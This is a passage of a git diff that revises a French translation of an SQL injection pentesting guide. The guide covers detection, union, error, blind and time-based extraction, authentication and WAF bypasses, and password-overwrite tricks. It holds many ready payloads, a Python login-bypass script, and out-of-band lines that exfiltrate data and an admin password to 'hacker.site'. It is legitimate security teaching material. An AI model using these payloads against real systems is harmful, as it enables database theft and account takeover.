page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Cette liste de mots a été créée pour essayer de **confirmer les SQLinjections** de la manière proposée :
|
||||
Cette liste de mots a été créée pour tenter de **confirmer SQLinjections** de la manière proposée :
|
||||
|
||||
<details>
|
||||
<summary>True SQLi</summary>
|
||||
<summary>Vraie SQLi</summary>
|
||||
```
|
||||
true
|
||||
1
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### Confirmation par le Temps
|
||||
### Confirmation par temporisation
|
||||
|
||||
Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir des injections SQL aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** nécessaire au chargement de la page.\
|
||||
Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à compléter :
|
||||
Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, un bon moyen de **discover blind SQL injections** est de faire exécuter des actions par la DB qui auront un **impact sur le temps** de chargement de la page.\
|
||||
Nous allons donc concat dans la requête SQL une opération qui prendra beaucoup de temps à s'exécuter :
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Alors, au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requête **effectue des opérations complexes** qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément sur chaque technologie (le cas échéant)_.
|
||||
Dans certains cas les **sleep functions ne seront pas autorisées**. Alors, au lieu d'utiliser ces fonctions vous pouvez faire en sorte que la requête **exécute des opérations complexes** qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément pour chaque technologie (si applicable)_.
|
||||
|
||||
### Identification du Back-end
|
||||
### Identifier le back-end
|
||||
|
||||
La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pourriez utiliser les _**fonctions de sommeil**_ de la section précédente ou celles-ci (tableau de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pouvez utiliser les _**sleep**_ **functions** de la section précédente ou celles-ci (tableau depuis [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,10 +211,10 @@ La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonct
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Aussi, si vous avez accès à la sortie de la requête, vous pourriez faire en sorte qu'elle **imprime la version de la base de données**.
|
||||
De plus, si vous avez accès au résultat de la requête, vous pouvez la faire **afficher la version de la base de données**.
|
||||
|
||||
> [!TIP]
|
||||
> Une continuation, nous allons discuter de différentes méthodes pour exploiter différents types d'injection SQL. Nous utiliserons MySQL comme exemple.
|
||||
> Dans la suite, nous allons aborder différentes méthodes pour exploiter différents types de SQL Injection. Nous utiliserons MySQL comme exemple.
|
||||
|
||||
### Identification avec PortSwigger
|
||||
|
||||
@ -223,17 +223,17 @@ Aussi, si vous avez accès à la sortie de la requête, vous pourriez faire en s
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Exploitation basée sur Union
|
||||
## Exploitation Union Based
|
||||
|
||||
### Détection du nombre de colonnes
|
||||
|
||||
Si vous pouvez voir la sortie de la requête, c'est le meilleur moyen de l'exploiter.\
|
||||
Tout d'abord, nous devons découvrir le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
|
||||
Si vous pouvez voir la sortie de la requête, c'est la meilleure façon de l'exploiter.\
|
||||
Tout d'abord, nous devons déterminer le **nombre** de **colonnes** renvoyées par la **requête initiale**. En effet, **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
|
||||
Deux méthodes sont généralement utilisées à cet effet :
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Pour déterminer le nombre de colonnes dans une requête, ajustez progressivement le nombre utilisé dans les clauses **ORDER BY** ou **GROUP BY** jusqu'à ce qu'une réponse fausse soit reçue. Malgré les fonctionnalités distinctes de **GROUP BY** et **ORDER BY** dans SQL, les deux peuvent être utilisés de manière identique pour déterminer le nombre de colonnes de la requête.
|
||||
Pour déterminer le nombre de colonnes d'une requête, augmentez progressivement la valeur utilisée dans les clauses **ORDER BY** ou **GROUP BY** jusqu'à obtenir une réponse erronée. Bien que **GROUP BY** et **ORDER BY** aient des fonctionnalités distinctes en SQL, les deux peuvent être utilisés de la même manière pour déterminer le nombre de colonnes renvoyées par la requête.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +251,17 @@ Pour déterminer le nombre de colonnes dans une requête, ajustez progressivemen
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Sélectionnez de plus en plus de valeurs nulles jusqu'à ce que la requête soit correcte :
|
||||
Sélectionnez de plus en plus de valeurs null jusqu'à ce que la requête soit correcte :
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Vous devez utiliser des valeurs `null` car dans certains cas, le type des colonnes des deux côtés de la requête doit être le même et null est valide dans tous les cas._
|
||||
_Vous devriez utiliser les valeurs `null` car dans certains cas le type des colonnes des deux côtés de la requête doit être le même et `null` est valide dans tous les cas._
|
||||
|
||||
### Extraire les noms de bases de données, les noms de tables et les noms de colonnes
|
||||
|
||||
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms des colonnes de la table :
|
||||
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom des tables d'une base de données, les noms des colonnes d'une table :
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,53 +272,53 @@ Dans les exemples suivants, nous allons récupérer le nom de toutes les bases d
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Il existe une méthode différente pour découvrir ces données sur chaque base de données différente, mais la méthodologie reste toujours la même._
|
||||
_Il existe une façon différente de découvrir ces données pour chaque base de données, mais la méthodologie reste toujours la même._
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
## Exploitation des Hidden Union Based
|
||||
|
||||
Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur un union semble inatteignable, cela signifie qu'il y a une **injection basée sur un union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur un union, il est nécessaire de discerner la requête d'exécution sur le backend.
|
||||
Lorsque la sortie d'une requête est visible, mais qu'une union-based injection semble irréalisable, cela signifie la présence d'une **hidden union-based injection**. Ce scénario conduit souvent à une situation de blind injection. Pour transformer une blind injection en une union-based, il faut déterminer la requête d'exécution côté backend.
|
||||
|
||||
Cela peut être accompli en utilisant des techniques d'injection aveugle ainsi que les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible.
|
||||
Cela peut être accompli en utilisant des techniques de blind injection ainsi que les tables par défaut spécifiques à votre DBMS. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du DBMS cible.
|
||||
|
||||
Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête originale. Ensuite, une requête union est ajoutée à votre payload, facilitant l'exploitation de l'injection basée sur un union nouvellement accessible.
|
||||
Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête d'origine. Ensuite, une union query est ajoutée à votre payload, facilitant l'exploitation de la union-based injection nouvellement accessible.
|
||||
|
||||
Pour des informations plus complètes, consultez l'article complet disponible à [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
Pour des informations plus complètes, référez-vous à l'article complet disponible sur [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Exploiting Error based
|
||||
## Exploitation Error based
|
||||
|
||||
Si pour une raison quelconque vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **ex-filtrer** des données de la base de données.\
|
||||
En suivant un flux similaire à celui de l'exploitation basée sur un union, vous pourriez réussir à vider la base de données.
|
||||
Si pour une raison quelconque vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **ex-filtrate** des données depuis la base de données.\
|
||||
En suivant un flux similaire à l'exploitation Union Based, vous pourriez parvenir à dumper le DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Exploiter le Blind SQLi
|
||||
## Exploitation de Blind SQLi
|
||||
|
||||
Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez **distinguer** quand la requête **renvoie** une réponse **vraie** ou **fausse** car il y a différents contenus sur la page.\
|
||||
Dans ce cas, vous pouvez abuser de ce comportement pour extraire la base de données caractère par caractère :
|
||||
Dans ce cas vous ne pouvez pas voir les résultats de la requête ni les erreurs, mais vous pouvez **déterminer** quand la requête **retourne** une réponse **true** ou **false** parce que le contenu de la page est différent.\
|
||||
Dans ce cas, vous pouvez abuser de ce comportement pour dump la base de données caractère par caractère:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Exploiter l'Error Blind SQLi
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
C'est le **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/faux de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL chaque fois que vous devinez correctement le caractère :
|
||||
Ceci est le **même cas que précédemment**, mais au lieu de distinguer une réponse **vrai/faux** de la requête, vous pouvez **distinguer** une **erreur** dans la requête SQL ou non (peut‑être parce que le serveur HTTP plante). Par conséquent, dans ce cas vous pouvez provoquer une SQLerror chaque fois que vous devinez correctement le caractère :
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Exploiter les SQLi basés sur le temps
|
||||
## Exploiter Time Based SQLi
|
||||
|
||||
Dans ce cas, il **n'y a pas** de moyen de **distinguer** la **réponse** de la requête en fonction du contexte de la page. Mais, vous pouvez faire en sorte que la page **prenne plus de temps à charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée auparavant pour [confirmer une vulnérabilité SQLi](#confirming-with-timing).
|
||||
Dans ce cas, il n'existe **aucune** façon de **différencier** la **réponse** de la requête selon le contexte de la page. Cependant, vous pouvez faire en sorte que la page **mette plus de temps à se charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée auparavant pour [confirm a SQLi vuln](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Requêtes Empilées
|
||||
## Stacked Queries
|
||||
|
||||
Vous pouvez utiliser des requêtes empilées pour **exécuter plusieurs requêtes à la suite**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats** ne sont **pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec des **vulnérabilités aveugles** où vous pouvez utiliser une seconde requête pour déclencher une recherche DNS, une erreur conditionnelle ou un délai.
|
||||
Vous pouvez utiliser stacked queries pour **exécuter plusieurs requêtes successivement**. Notez que même si les requêtes suivantes sont exécutées, les **résultats** ne sont **pas renvoyés à l'application**. Ainsi, cette technique est principalement utile pour les **blind vulnerabilities**, où vous pouvez utiliser une seconde requête pour déclencher un DNS lookup, une erreur conditionnelle ou une temporisation.
|
||||
|
||||
**Oracle** ne prend pas en charge les **requêtes empilées.** **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** ne prend pas en charge les **stacked queries.** **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Exploitation Hors Bande
|
||||
## Out of band Exploitation
|
||||
|
||||
Si **aucune autre** méthode d'exploitation **n'a fonctionné**, vous pouvez essayer de faire en sorte que la **base de données exfiltre** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS :
|
||||
Si **aucune** autre méthode d'exploitation n'a **fonctionné**, vous pouvez tenter de faire en sorte que la **database ex-filtrate** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS :
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
@ -326,13 +326,13 @@ select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Exploitation Automatisée
|
||||
## Exploitation automatisée
|
||||
|
||||
Vérifiez la [SQLMap Cheatsheet](sqlmap/index.html) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Consultez la [SQLMap Cheatsheet](sqlmap/index.html) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Informations techniques spécifiques
|
||||
## Infos spécifiques par technologie
|
||||
|
||||
Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité d'injection SQL. Trouvez quelques astuces supplémentaires dépendantes de la technologie de base de données dans ce livre :
|
||||
Nous avons déjà abordé toutes les manières d'exploiter une vulnérabilité SQL Injection. Trouvez d'autres astuces spécifiques à la technologie de base de données dans ce livre :
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,42 +340,42 @@ Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
Ou vous trouverez **beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
Ou vous trouverez également **beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Contournement d'authentification
|
||||
## Authentication bypass
|
||||
|
||||
Liste à essayer pour contourner la fonctionnalité de connexion :
|
||||
Liste à essayer pour bypasser la fonctionnalité de login :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Contournement d'authentification par hachage brut
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à l'injection SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, conduisant à un accès non autorisé.
|
||||
Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à SQL injection. Les attaquants peuvent exploiter cela en fabriquant des entrées qui, une fois hachées, produisent des parties de commande SQL inattendues, entraînant un accès non autorisé.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Contournement de l'authentification par hachage injecté
|
||||
### Injected hash authentication Bypass
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Liste recommandée** :
|
||||
**Liste recommandée**:
|
||||
|
||||
Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours : _**Pass1234.**_\
|
||||
_(Ces payloads sont également inclus dans la grande liste mentionnée au début de cette section)_
|
||||
Vous devez utiliser comme username chaque ligne de la liste et comme password toujours : _**Pass1234.**_\
|
||||
_(Ces payloads sont aussi inclus dans la grande liste mentionnée au début de cette section)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Contournement d'authentification GBK
|
||||
### GBK Authentication Bypass
|
||||
|
||||
SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il sera créé : 0xA80x5c0x27 (_╘'_)
|
||||
Si ' est échappé vous pouvez utiliser %A8%27, et lorsque ' est échappé il sera créé : 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -390,7 +390,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Injection polyglotte (multicontexte)
|
||||
### Polyglot injection (multicontext)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
@ -398,60 +398,60 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Modifier le mot de passe d'un objet/utilisateur existant
|
||||
|
||||
Pour ce faire, vous devez essayer de **créer un nouvel objet nommé comme le "master object"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose :
|
||||
Pour ce faire, vous devriez essayer de **créer un nouvel objet nommé comme le "master object"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose :
|
||||
|
||||
- Créer un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules)
|
||||
- Créer un utilisateur nommé : **admin=**
|
||||
- **SQL Truncation Attack** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'email) --> Créer un utilisateur avec le nom : **admin \[beaucoup d'espaces] a**
|
||||
- Créez un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules)
|
||||
- Créez un utilisateur nommé : **admin=**
|
||||
- **SQL Truncation Attack** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'email) --> Créez un utilisateur avec le nom : **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Si la base de données est vulnérable et que le nombre max de caractères pour le nom d'utilisateur est par exemple 30 et que vous souhaitez usurper l'identité de l'utilisateur **admin**, essayez de créer un nom d'utilisateur appelé : "_admin \[30 espaces] a_" et n'importe quel mot de passe.
|
||||
Si la base de données est vulnérable et que le nombre maximal de caractères pour le nom d'utilisateur est, par exemple, 30 et que vous voulez usurper l'utilisateur **admin**, essayez de créer un nom d'utilisateur appelé : "_admin \[30 spaces] a_" et n'importe quel mot de passe.
|
||||
|
||||
La base de données va **vérifier** si le **nom d'utilisateur** introduit **existe** dans la base de données. Si **non**, elle va **couper** le **nom d'utilisateur** au **nombre max de caractères autorisés** (dans ce cas à : "_admin \[25 espaces]_") et elle va **automatiquement supprimer tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur pourrait apparaître mais cela ne signifie pas que cela n'a pas fonctionné).
|
||||
La base de données va **vérifier** si le **nom d'utilisateur** introduit **existe** dans la base. Si **non**, elle va **couper** le **nom d'utilisateur** à la **longueur maximale autorisée** (dans ce cas à : "_admin \[25 spaces]_") puis elle va **supprimer automatiquement tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur peut apparaître mais cela ne signifie pas que cela n'a pas fonctionné).
|
||||
|
||||
Plus d'infos : [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Note : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations de MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, tenter d'insérer une chaîne qui est plus longue que la longueur d'un champ entraînera une erreur, et l'insertion échouera. Pour plus d'informations à ce sujet :_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note : This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### Vérification basée sur le temps d'insertion MySQL
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Ajoutez autant de `','',''` que vous le jugez nécessaire pour sortir de l'instruction VALUES. Si un délai est exécuté, vous avez une SQLInjection.
|
||||
Ajoutez autant de `','',''` que nécessaire pour sortir de la clause VALUES. Si delay est exécuté, vous avez une SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
La clause `ON DUPLICATE KEY UPDATE` dans MySQL est utilisée pour spécifier les actions que la base de données doit entreprendre lorsqu'une tentative d'insertion d'une ligne entraînerait une valeur dupliquée dans un index UNIQUE ou une CLÉ PRIMAIRE. L'exemple suivant démontre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur :
|
||||
La clause `ON DUPLICATE KEY UPDATE` dans MySQL est utilisée pour spécifier les actions que la base de données doit effectuer lorsqu'une tentative d'insertion d'une ligne entraînerait une valeur dupliquée dans un index UNIQUE ou une PRIMARY KEY. L'exemple suivant montre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur :
|
||||
|
||||
Exemple d'injection de payload :
|
||||
Exemple d'injection de Payload :
|
||||
|
||||
Un payload d'injection pourrait être conçu comme suit, où deux lignes sont tentées d'être insérées dans la table `users`. La première ligne est un leurre, et la deuxième ligne cible l'email d'un administrateur existant dans l'intention de mettre à jour le mot de passe :
|
||||
Un payload d'injection pourrait être construit comme suit, où deux lignes sont tentées d'être insérées dans la table `users`. La première ligne est un leurre, et la deuxième ligne cible l'email d'un administrateur existant dans le but de mettre à jour le mot de passe :
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Voici comment cela fonctionne :
|
||||
|
||||
- La requête tente d'insérer deux lignes : une pour `generic_user@example.com` et une autre pour `admin_generic@example.com`.
|
||||
- Si la ligne pour `admin_generic@example.com` existe déjà, la clause `ON DUPLICATE KEY UPDATE` se déclenche, demandant à MySQL de mettre à jour le champ `password` de la ligne existante à "bcrypt_hash_of_newpassword".
|
||||
- Si la ligne pour `admin_generic@example.com` existe déjà, la clause `ON DUPLICATE KEY UPDATE` se déclenche, demandant à MySQL de mettre à jour le champ `password` de la ligne existante avec "bcrypt_hash_of_newpassword".
|
||||
- Par conséquent, l'authentification peut ensuite être tentée en utilisant `admin_generic@example.com` avec le mot de passe correspondant au hash bcrypt ("bcrypt_hash_of_newpassword" représente le hash bcrypt du nouveau mot de passe, qui doit être remplacé par le hash réel du mot de passe souhaité).
|
||||
|
||||
### Extraire des informations
|
||||
|
||||
#### Création de 2 comptes en même temps
|
||||
#### Créer 2 comptes en même temps
|
||||
|
||||
Lors de la tentative de création d'un nouvel utilisateur, le nom d'utilisateur, le mot de passe et l'email sont nécessaires :
|
||||
Lors de la création d'un nouveau user, username, password et email sont nécessaires :
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### Utilisation de décimal ou hexadécimal
|
||||
#### Utiliser le décimal ou l'hexadécimal
|
||||
|
||||
Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.
|
||||
Avec cette technique, vous pouvez extraire des informations en créant un seul compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.
|
||||
|
||||
Utilisation de **hex2dec** et **substr** :
|
||||
En utilisant **hex2dec** et **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
@ -459,7 +459,7 @@ Pour obtenir le texte, vous pouvez utiliser :
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
Utiliser **hex** et **replace** (et **substr**):
|
||||
En utilisant **hex** et **replace** (et **substr**):
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
@ -468,22 +468,22 @@ Utiliser **hex** et **replace** (et **substr**):
|
||||
#Full ascii uppercase and lowercase replace:
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
## Injection SQL routée
|
||||
## Routed SQL injection
|
||||
|
||||
L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne un résultat, mais la sortie de la requête injectable va à la requête qui donne un résultat. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection est une situation où la requête injectable n'est pas celle qui donne la sortie mais la sortie de la requête injectable est transmise à la requête qui donne la sortie. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Exemple :
|
||||
Exemple:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## Contournement WAF
|
||||
## WAF Bypass
|
||||
|
||||
[Bypasses initiaux ici](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Bypasses initiaux depuis ici](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Contournement sans espaces
|
||||
### No spaces bypass
|
||||
|
||||
Pas d'espace (%20) - contournement utilisant des alternatives d'espacement
|
||||
No Space (%20) - bypass utilisant des alternatives aux espaces blancs
|
||||
```sql
|
||||
